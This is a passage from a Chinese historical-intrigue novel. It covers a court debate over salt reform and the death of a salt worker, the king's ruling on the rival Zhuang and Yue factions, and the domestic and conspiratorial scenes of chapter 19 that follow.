“吴大人,你这分明就是强词夺理!岳家忠心,天地可鉴,何来造反之嫌!”林海双手持笏交握举过头顶对着南狄行了一礼。“倒是吴大人,你素来与岳公积怨。不知吴大人今日之言,是否有公报私仇之意啊?还请王上莫要听信此等小人之言!”
“你……你休要胡乱攀扯本官!”吴言竟气急,袖子一甩,连带着官帽都歪了几分。
殿内瞬间安静下来,观望的大臣都默默把呼吸放轻,生怕他们两个的战火会烧到自己身上。
南狄没有说话,只是稳坐高台俯视台下的众臣。整个大殿上,庄岳两家派系之间你来我往的交锋,谁也没占到理,谁也没说到重点上,议程似乎陷入僵局。大家都明哲保身,默契的打量着岳海晟跟庄聿安。
“岳卿,这死的是你岳家的灶户,还牵扯到盐工躁动,这件事,你可有什么想说的?”南狄笑着从王座上起身,走下一级台阶。
南狄话音刚落,所有人的目光都聚焦到了岳海晟身上。
岳海晟当即跪下,“王上,老臣管束不力,未及时发现灶户藏私盐,更未管束教导好盐工的行为处事。臣有罪,臣愿意领受王上惩处责罚。只是,孙大人冲动行致使赵二娘无辜丧命触犯众怒,此事若是不能妥善解决,灶户,盐工如同头上悬剑,日夜惶恐,还如何能安心晒盐,如何效忠王上呢?”
南狄立于台阶之上,他不说话,只是依旧笑着看岳海晟,就连眉眼里也满是上位者的包容,和善还有宽厚。可这笑落在岳海晟眼里,却有一种被毒蛇缠绕的森冷感。岳海晟低下头,心跳不自觉加快,握笏牌的手心也不知道何时沁出细汗。
就在岳海晟手指都颤抖之际,南狄终于开口了。“那岳卿以为,孤,该如何处理此事呢?”
“老臣不敢揣测王上圣意!”
南狄又把目光落在其他人身上,众臣子都低下头不敢直视他。“孙爱卿,你作为整件事的主要人物。岳卿想要你的一个交代,你,可有要辩驳的?”
孙绍祖跪在地上,他下意识的瞥向袖子处,那儿的血迹昨夜已经被他的夫人提醒并清洗干净了。
可真的能被洗干净吗?他不知道……但他的腰杆似乎比往日里要弯了一些,沉默了好久后。“臣,无话可说,甘愿受罚!”
庄聿安也站出来,“王上,都是臣御下不严才出了这草菅人命的事,臣也没什么可说的,但凭王上发落。”
南狄没有回应他的话,只是颇有深意的看了他一眼。庄聿安也没多想,接着继续回击。
只见他表情真诚,看着里面隐约还有几分伤心之意,就连眼角也挤出了一点湿意。“对于赵二娘的死,孙大人也是满心愧疚,认下了过错。岳公素来敦厚,想必也不会再揪着此事不放了吧?”
岳海晟听出来了他话里隐晦的挑衅和嘲讽,他表面上笑的滴水不露,但心里却狠狠地记上了一笔。“王上宽厚,臣自然不会跟王上相悖。臣一定好生安抚,约束好盐工灶户,并转达王上和庄相的爱民之心。想来他们也会感念王上的恩德!”
“孙爱卿一事就不必再议了!”南狄敲定这件事后,中间几个大臣互相对视了一眼,各自使眼色摇了摇头还是继续保持沉默。
庄聿安则立刻乘胜追击,“王上,恰如周尚书所言,赵二娘虽然死了,但她藏了少量私盐却是事实。想来,这灶户藏私盐也不是一家之事。何况私盐本就是阻碍盐政改革的一座大山,若不惩治,改革始终难以取得进展。臣恳请王上允臣彻查所有灶户,看看这里面究竟还有多少私盐。也免得赵二娘白白搭上了性命!”
岳海晟面色不变,他依旧跪的笔直。“老臣对王上绝无二心,若是王上想查私盐,臣,定会全力配合支持。”说完他故意停下,抬头看向南狄,“只是,灶户盐工大多家里困苦,每月月钱也只能勉强维持温饱。家家户户保不齐都会有少量私盐用以谋生。若是大肆彻查私盐,岂非是要断了他们的生路,寒了这天下百姓的心?”
“王上,臣承蒙您的信任和厚爱奉旨推行盐政改革,是为国为民之举。若是不彻查私盐一事,灶户们只会更加肆无忌惮的藏私盐,盐商则会想尽一切办法逃税。长此下去,国库空虚,军资疲软,我堰州江山岂非就要毁于一旦了?”
南狄没有接话。他坐在王座上,手指轻轻敲着扶手。他敲了很久,久到庄聿安的后背开始发僵,久到岳海晟的膝盖开始发麻。
庄聿安跪着,岳海晟也跪着。两双眼睛都看着南狄,等着他的裁决。南狄不说话,他只是看着他们,像在看一盘还没下完的棋。
这时候,文恩站了出来。他走得很慢,每一步都像踩在刀刃上。“王上,”他跪下,“臣有话说。”
南狄看了他一眼:“文爱卿有何见解啊?”
“王上,臣认为庄相的担忧不无道理,但岳公所言也是事实。私盐一事牵扯太广,还需徐徐图之。”文恩的话让所有人都静默了一瞬,紧接着就是各方汹涌而来的刀子眼。尤其是吴言竟,若非周明远死死拽着他的衣袖,只怕他是恨不得提剑当场杀出去。
而庄聿安听到文恩的话,只是脸色有些不好看,他没有质问也没有反驳,只是平静的跪着。
“文爱卿的想法,倒是让孤很是意外啊!”南狄忽的笑了。
“许是臣见这些年来,灶户们的日子越来越贫苦,朝廷收上来的盐课也不见增长,心中实在不忍!是臣的不是,还请王上恕罪!”文恩一脸淡然,就像是在叙述一件很平常的事情。
可他的话却在整个朝堂内都炸开了锅。吸气声此起彼伏,众大臣面面相觑后都安静的看向站在台阶上南狄。
此刻,岳海晟几不可查的踉跄了一瞬,他扶正自己的官帽,垂眸之际,眼波飞速流转。而庄聿安脸上的凝重散去,取而代之的是近乎疯狂的冷静。
南狄笑容未变,可众人都能感觉到他身上散发着的寒意。
“我记得自上次减税后至今,盐税不曾上调啊,这钱还能哪儿去了……”人群中不知是哪个官员嘟囔了一句,可他刚说完就察觉到了不对劲,他立刻捂着自己的嘴巴。
“微臣惶恐!”周明远反应过来,他率先带头跪下,其他大臣也紧跟其后。他们双手伏地,脑袋紧紧贴着自己的双手,大气不敢喘,唯有吴言竟跪的比别人要直。
看着下面跪着乌泱泱一片人,南狄又往下走了一个台阶,他俯视着跪在下面的岳海晟。“岳卿,灶户所有的盐利均是你在负责,孤现在想听听你的看法。”
“灶户穷,盐课没涨,钱去哪了,老臣也想知道”岳海晟直起身子后转过头看向孙绍祖。“孙大人作为盐铁判官,统管都盐,商税以及末盐三案司。那请问孙大人,灶户的盐卖给盐商,价格几何?盐商转手卖给百姓,价格又是几何?这中间的差价,是进了灶户的口袋,还是进了盐商的口袋?”
孙绍祖听出了岳海晟想要借庄家在盐商里扶持了自己人的事拉庄家下水,他当即据理力争。“岳公,灶户穷,就能藏私盐吗?法理是法理,民情是民情。灶户穷困,朝廷也要征税;灶户藏私盐,朝廷也不过是依法办事。这两件事,岂可混为一谈?”
孙绍祖的回应让岳海晟沉默了一瞬。但他很快就有了反制之法。“王上,灶户穷困,非是一日之寒。老臣管了这么多年盐田,越管越穷,是老臣无能。但老臣想不明白——盐政改革推行至今,盐价没降,灶户没富,国库也没充裕。这改革,改的究竟是什么?是改灶户的盐,还是改盐商的账?”
庄聿安知道岳海晟这是在点自己,但他没动,他只是看着岳海晟,那眼神里分明写着胜券
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在握。然后,他笑了,那笑很轻,像刀子划过纸面,不留痕,但纸张已经裂了。
“岳公这个问题问得好啊!”庄聿安往前走了一步,声音不高,但殿内每个人都听得很清楚。“臣奉旨推行盐政改革至今,灶户的盐课已经酌情减免,盐商的税账也核实了,私盐查了,盐田收复前的准备和交办也已经在处理了!可灶户还是穷,盐价还是高,国库还是空虚。究竟是臣的的法度不够硬还是你岳家的门,关的太紧了?啊?”
岳海晟被问的一噎,说不出话来,脸也憋的有些通红。
“都起来吧!”南狄周身气压更低,语气也冷了几分,众人的头埋得更低。“说来说去,还是没有定论!”
就在这时,刑部尚书方知远站了出来。“王上,这世上没有绝对的非黑即白,不过是看待问题的方向不一样罢了。臣以为岳大人跟庄大人说的都有道理,实在不必争的面红耳赤。”
“方大人说的倒是轻巧,我们不争论出一个结果,问题还怎么解决?”岳海晟冷哼一声,面色不善。庄聿安则对此选择了沉默。
“方爱卿,说说你的看法。”
“古书有言:水能载舟,亦能覆舟。即便是灶户藏私盐,违法在先,可到底已有一贫穷百姓受惊丧命了,臣以为实在不宜再赶尽杀绝。何况,法理之下,又焉能毫无民情?”他腰杆挺得笔直,不卑不亢,不急不躁,眼神中也没有任何站队之意,只有纯粹的悲悯和体谅。
南狄盯着方知远,半晌,他终于笑了,再次走下一个台阶。“是啊,严刑厉法只会适得其反!”
南狄的话就像一把小锤,同时敲在庄聿安跟岳海晟的心头,他们两个都诧异且震惊的抬起头看着他,等待着他最后的裁决。
“灶户藏私盐却系违法,不可不罚!三司使岳海晟约束管理灶户不利,罚俸一年,小惩大诫;另灶户困苦问题未能及时解决,吏部尚书周明远,侍郎封正安任免考核官员失职,即日起,吏部尚书由郑淮安接任,周明远任吏部侍郎,封正安转礼部侍郎!”
“臣,叩谢王上圣恩!”三人磕了三个响头。
庄聿安对这个处置结果是震惊的,不解的,甚至是反对的,他不甘心的想要起身反驳,却被南狄的眼神硬生生压下。
岳海晟听完南狄的处置结果,悬着的一颗心终于放下,“老臣叩谢王上!”他嘴角悄悄扬起了胜利的微笑就要行叩拜谢礼时却被南狄抬手拦下。
“王上?”岳海晟一时没明白他的意思,眼神带着点清澈的愚蠢和疑惑。
“岳爱卿,孤的话还没说完,你急什么?”
岳海晟心里咯噔一下。“是老臣心急了!”
南狄笑着扫了一眼众大臣后才看向岳海晟,“关于私盐一事,孤已决定不再彻查,但所有灶户必须重新登记造册。岳爱卿管理盐田多年,最是了解灶户,如此,孤就将此事交由你全权负责!”
“王上……这……”岳海晟脸上闪过了肉眼可见的慌乱。
“怎么,有问题?”
南狄波澜不惊的一句话再次让岳海晟如鲠在喉,他半晌才憋出一句话。“只是,灶户重新造册需要彻查灶籍,只怕短时间内无法完成。”
“不急,你慢慢记!”
“老臣……遵旨!”岳海晟咬紧牙关,指甲扣在笏板上印出深痕。
“关于灶户盐工困苦一事,孤也深感自责,更深谙得民心者得天之理。自下月起,盐田税减一成。另外,再从国库调拨十万两白银用以修葺灶户锅具,改善盐工劳作用具所用。郑爱卿,方爱卿,孙爱卿,此事就交由你们三位共同负责!”
郑淮安,孙绍祖,方知远一同出列,领命谢恩。“臣等定不负王上所托!”
南狄这才沿着台阶重新走上王座坐下,”众爱卿可还有本要奏?”
底下大臣无一人回答,内侍见状高喊:退朝!
散朝后,大臣三三两两离开大殿。南狄也回到光明殿坐下批阅奏折。
“王上,这岳家会乖乖听话吗?”贴身太监苏瑞放下浮尘仔细研墨。
“不听话的钉子,慢慢拔除就是了!”南狄写下一行朱批,眼神里没有半分波动。
“王上圣明!”苏瑞想到什么,接着说:“王上,昨晚林夫人让人连夜去户部找了冯大人,指明要补大堰盐田旁边那块沟渠地的地契。”
“他是怎么做的?”南狄写字的手没停,只是嘴角弯了一下。
“郑大人一早就交代好了,这块地契,办不下来的!”苏瑞笑的意味深长。“冯大人是个聪明人,他知道怎么做!”
南狄阅完手里的折皱起身走到窗边。“戏,要慢慢演,演完了才知道,谁在台上,谁,在台下……”
19. 第 19 章
九月的天,总是说变就变。小雨淅淅沥沥的落下,不大,但冷,像极了这乱世里的无边愁绪。
宫外长街上几乎没有人了,青石板路盛了水变得亮汪汪,映衬着天光。屋檐下的水帘子断了又续,续了又断,滴滴答答的,像是谁在叹气。
散朝已是许久,文武百官都陆陆续续离开,庄聿安站在连廊内看着外面的秋雨,不知是想到了什么,思绪飘飞到远方。雨越下越大,丝毫没有要停的意思,雨珠重重砸在青石板路上,溅起的水花打湿了他的衣服下摆,但他却恍若无觉。
“这样的雨天……”他伸出手,接住坠落的雨滴,冰凉的触感让他回过神来。良久,他终于动了。宫人立刻送来油纸伞,他接过撑着油纸伞独自走在回相府的路上。
他的步伐并不快,伞面压得很低,遮住了半张脸。雨水顺着伞骨流淌下来,在脚边溅起细密的水花。身后是空荡荡的宫道,前方是看不见尽头的长街。他一个人走着,像这世上所有的雨都落在他一个人的伞上。
回到相府,陈兰、庄思铭、苑卿桉一干人等都站在台阶上等着他。陈兰很早就听说了朝堂上的消息,她焦急的捏着帕子在台阶上来回踱步,雨水打湿了她的碎发她也不在意。
“夫人,相爷回来了!”
陈兰远远看见他,第一个扔了伞冲到雨里紧紧抱着他。“回来就好!”
庄聿安身体僵硬了一瞬后放松下来,他沉默着一手回抱陈兰,一手撑着伞,伞的方向也往她那边倾斜,将她护的严严实实。
庄思铭站在台阶上,看着雨中相拥的父母,他的眼底染上了细碎的幸福之意。苑卿桉则一手搭在春花的手上,一手扶着门框。
“相爷跟夫人的感情可让人羡慕,我要是有相爷这样一个爱我的男人该多好啊……”春花笑容明媚,小声嘟囔,眼底满是向往和艳羡。
“爱么?”苑卿桉低声呢喃,似乎在思考什么,几秒后她的视线再次落在庄聿安身上。庄聿安似乎有所察觉,回望过来。
这双眼睛,尽管隔着烟雨还是能看到他眼底的泛红,而更深处似乎还藏着一丝很淡的迷茫与脆弱。
今日朝堂上的事,对他的打击竟这般大吗?苑卿桉不确定,但她总觉的以庄聿安的性子,即便是朝堂上遇搓,也不至于这般。莫非,这其中还有隐情?
正当她想细看揣摩时,庄聿安已经收回视线揽着陈兰进屋了。路过她身边时,庄聿安脚步没停,但眼睛里的寒意却更深了。
“姑娘,我们还是快回屋吧,相爷刚刚的眼神好可怕!”春花哆嗦的扯了扯她的袖子。
“嗯!”就在苑卿桉跟春花准备回去时,庄思铭喊住了她。
“苑姑娘,请留步!”
“大少爷,您有什么事吗?”春花警惕的拉了拉苑卿桉,自己上前半档在她面前。
“庄公子,不知有何事?”苑卿桉拍了拍春花的手后,打量着庄思铭。
“苑姑娘不必紧张。我听人说,苑姑娘这段时日在给岳家小姐治病,不知……岳小姐的病情如何?”庄思铭保持着恰到好处的距离和微笑,既不冒犯又给人一种淡淡的疏离和压迫感。
苑卿桉眼眸闪了闪,“听闻庄公子心系岳小姐,看来传言不虚!”
庄思铭嘴角的笑意不变,“这世上谁没有心悦之人?更何况,外面所谓的传言,不过是在事实的基础之上稍加修饰罢了。”他说完又继续追问,“苑姑娘,你还没有回答我的问题!”
“岳小姐的沉疴还是跟从前一般无二,时好时坏,断断续续的咳嗽,若是好好调养个一年两年,兴许有治愈的可能。”她的话半真半假,但表情真挚怜惜,倒也让人看不出什么问题。
庄思铭脸上的希冀消失,眼底也漫上了无奈和心酸。“想必,她也是不曾好好吃饭。”
“庄公子既然心系岳小姐,为何不登门拜访呢?虽说庄岳两家之间在朝堂上是对立,可儿女之交,想来也是无大碍的。”
“苑姑娘,很多时候,我们都会身不由己。有些事,有些人,也不是说见一面,努力了就会有结果!”庄思铭眼神落寞的看向绵绵秋雨,似乎是想透过秋雨看到那个熟悉的身影。
“是因为家族吗?还是……你不敢?”苑卿桉的话让庄思铭的脸色微变,春花拉了拉她的袖子,给她使眼色。
庄思铭转过身面对着苑卿桉。“这很重要吗?如果不是她想要的那个人,那对她来说,见了还不如不见吧!”
苑卿桉诧异的看着他,她先前一直以为千帆的病是跟庄思铭有一定关联的,可现在来看,事情似乎远没有那么简单。
“呵!”庄思铭轻轻一笑,“苑姑娘,身为医者,做好自己的本职即可。若是深挖那些密辛,以你的处境和能力,可未必能全身而退。”
看来,岳家的水果然很深,她现在看到的,或许还只是冰山一角。就是不知道这冰山下,有没有什么是关于祖父的。
看着苑卿桉若有所思的样子,庄思铭再次开口:“苑姑娘,你会治好她的,对吗?”
苑卿桉收起思绪,下意识点头。“治病救人是我的本职,我自然会尽全力治好岳小姐!”
庄思铭看着她,看了很久。他不知道苑卿桉究竟是安慰他还是欺骗他,他也没有再多问,转身就走了。他走的很慢,像是在等待着什么。
“走吧!”苑卿桉目送庄思铭的背影消失后才带着春花回到清水阁。
“春花,岳小姐……可有心仪之人?”她坐下给自己倒了一杯茶,却迟迟没有喝。
春花凑到她耳边,“奴婢听说,岳小姐五年前曾与一人……后来那人走了,再也没回来。”
“走了?”
“当初知晓内情的人都被林夫人乱棍打死了,所以根本没有人敢提当年的事。奴婢只听说是回乡了。”
“果然是情伤……”苑卿桉呢喃了一句后端起茶水抿了一口。
“姑娘,你在说什么呢?”春花没听清她说的话,有些疑惑的询问。
“我忽然想吃水晶山药糕了,你去厨房拿一些回来!”
“好,姑娘,你稍等,奴婢这就去!”春花行了一礼后就离开了。
苑卿桉在窗边坐下,她打开医书取出里面夹着的一张药方,拿着药方她看了一好一会儿。“柴胡,党参,川穹……”她叹了一口气起身走到烛火边,拿起药方就要烧毁,春花刚好提着糕点回来。
“姑娘,你这是做什么呢?”春花放下盒子过去粗粗扫了一眼。“这不是你之前熬了一宿才给岳小姐写出来的方子吗?烧了多可惜啊!”
苑卿桉把方子烧毁,“结气病者,忧思所生也。心有所存,神有所止,气留而不行,故结于内。”想到岳千帆的病弱的样子,她的心又开始轻微的抽痛。
“姑娘您的意思是岳小姐的病是心病啊?”
苑卿桉没有说话,只是坐下拿起一块水晶山药糕,咬了一口,清甜爽口,入口即化,但她只吃了一块就没胃口了。
“姑娘,你怎么不吃了,是这糕点不和您的胃口吗?”
“我没事,许是想起了以前的事,你下去吧!”苑卿桉的目光落在了窗外的雨中,久久无法移开……
这一场雨,从白日下到黄昏,从檐角滴到阶前,最后打湿了整座城。庄聿安站在书房窗前,看着窗外的雨。
那棵栾树被雨水打得沙沙作响。它的叶子落了大半,剩下一些黄叶还湿漉漉地贴在枝头。果实也还在,又红又鼓。雨水顺着果皮往下淌,一滴一滴,落在他窗台上。天井里的积水映着廊灯,昏黄的光碎成一片,又被雨点打得晃来晃去,他站了很久很久。
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>陈兰推门进来时,带进一阵湿气。她收了伞,递给身后的孙妈妈,挥手让人退下。她看着庄聿安的背影,心里很不是滋味。自他做官后一路慢慢高升,她就发现庄聿安总是在这样的雨天里,独自站在窗前,盯着门外头那棵树看啊看。
她知道那棵树是岳海晟送的,可她不知道庄聿安究竟在透过这棵树看什么,想什么。她只知道,每到雨天,他就会很难过。想到这些,心疼就瞬间溢满胸腔。
“老爷,该用晚膳了。”陈兰站了好一会儿,才柔声喊了一句,她尽量让自己的声音跟平常别无二致。她走到他身后,没听见他应声。她又轻声唤了一声:“老爷?”
庄聿安像是刚回过神来,转过头看她。那目光是空的,像在看别的什么,又像什么都没看。陈兰心里一紧,却没说什么,只是走过去,握住他的手。
“你回来后就把自己关在房里茶饭不问的,我很担心你!”她的手是暖的,他的手指冰凉。她攥紧了些,他没抽开,也没回握。只是低下头,看着两人交握的手,看了很久。
“嗯。”他终于应了一声,声音很轻,像怕惊动什么。“走吧。”他握住她的手往外走。陈兰跟在他身后,看着他高大直挺的背影,忽然觉得他瘦了。不是身体瘦了,像是肩上的东西,太重了。她没说话,只是跟上去,走在他旁边。
“老爷,朝堂上的事不要紧的。王上并没有怪罪你,你也别往心里去。”陈兰给他夹了一些他往日里爱吃的菜。
“好,你也吃!”庄聿安给她盛了一碗汤,自己却没怎么动筷子。今日南狄的裁决让他心里涌上了强烈的不安。他知道南狄要动岳家,他也知道今日的灶户造册是让岳家慢慢自毁根基的开始,可他真正看不懂的是南狄的态度。
他不知道今日南狄对自己的敲打是因为什么,也不知道他会不会跟岳海晟一样,成为被清算的棋子,更不知道,庄家,究竟可以走多远。庄聿安心里有太多的事情憋着,可这样的事他不敢也不能跟旁人说起。
一顿饭吃下来,他都味同嚼蜡,吃了小半碗饭就放下碗。他看着陈兰担心的模样,把人揽到怀里抱着。“夫人,让我抱一会儿,一会儿就好!”
“好,我就在这儿!”陈兰环着他,轻轻抚摸着他的头发。闻着陈兰身上的木槿花香,他终于彻底放松下来,他抱着陈兰的手慢慢收紧,像是要把她刻进灵魂一样。“夫人,跟着我,让你受委屈了!”
“我可是你八抬大轿娶进家的夫人,一点儿也不委屈,真的!”陈兰抱着他,眼眶泛红,一滴泪顺着脸颊落在他的头发上。似乎有所察觉,庄聿安放松力道,把头埋进她的颈窝。冰凉的湿意滑落在她的脖梗,陈兰什么都没说,只是更温柔的抱着他。
两个人就这样静静的相拥着,窗外雨声渐小,檐上雨水流得慢了,一滴,又一滴,像是有人在远处轻轻拨着琴弦。屋里的烛火跳了跳,又稳下来,把两个人的影子投在墙上,叠在一起,分不清谁是谁的……
同一时刻,城内一处不起眼的宅院里,紫衣男人坐在窗边,手里捏着一枚棋子摩挲着。羽涅从外面进来,他递上最新的秘报。
“主上,请您过目!”
紫衣男人接过秘报,拆开后看了一眼内容:盐政改革正式开始,庄岳两家的争斗愈演愈烈,还有南狄的拉拢人心……
“看来,这堰州城,要热闹了!”
“主上,南狄也盯上了苑姑娘,您说,他会不会成为阻碍我们计划的那个变数?”羽涅单膝跪在他面前,抬头看向男人。
“南狄……”紫衣男人把棋子搁在桌面。“他收他的权,我收我的网。若是他敢坏事……”紫衣男人露出一抹危险的笑容,羽涅秒懂。
“属下明白了!”
“接下来,就看她,会怎么选了。可别让我失望啊……”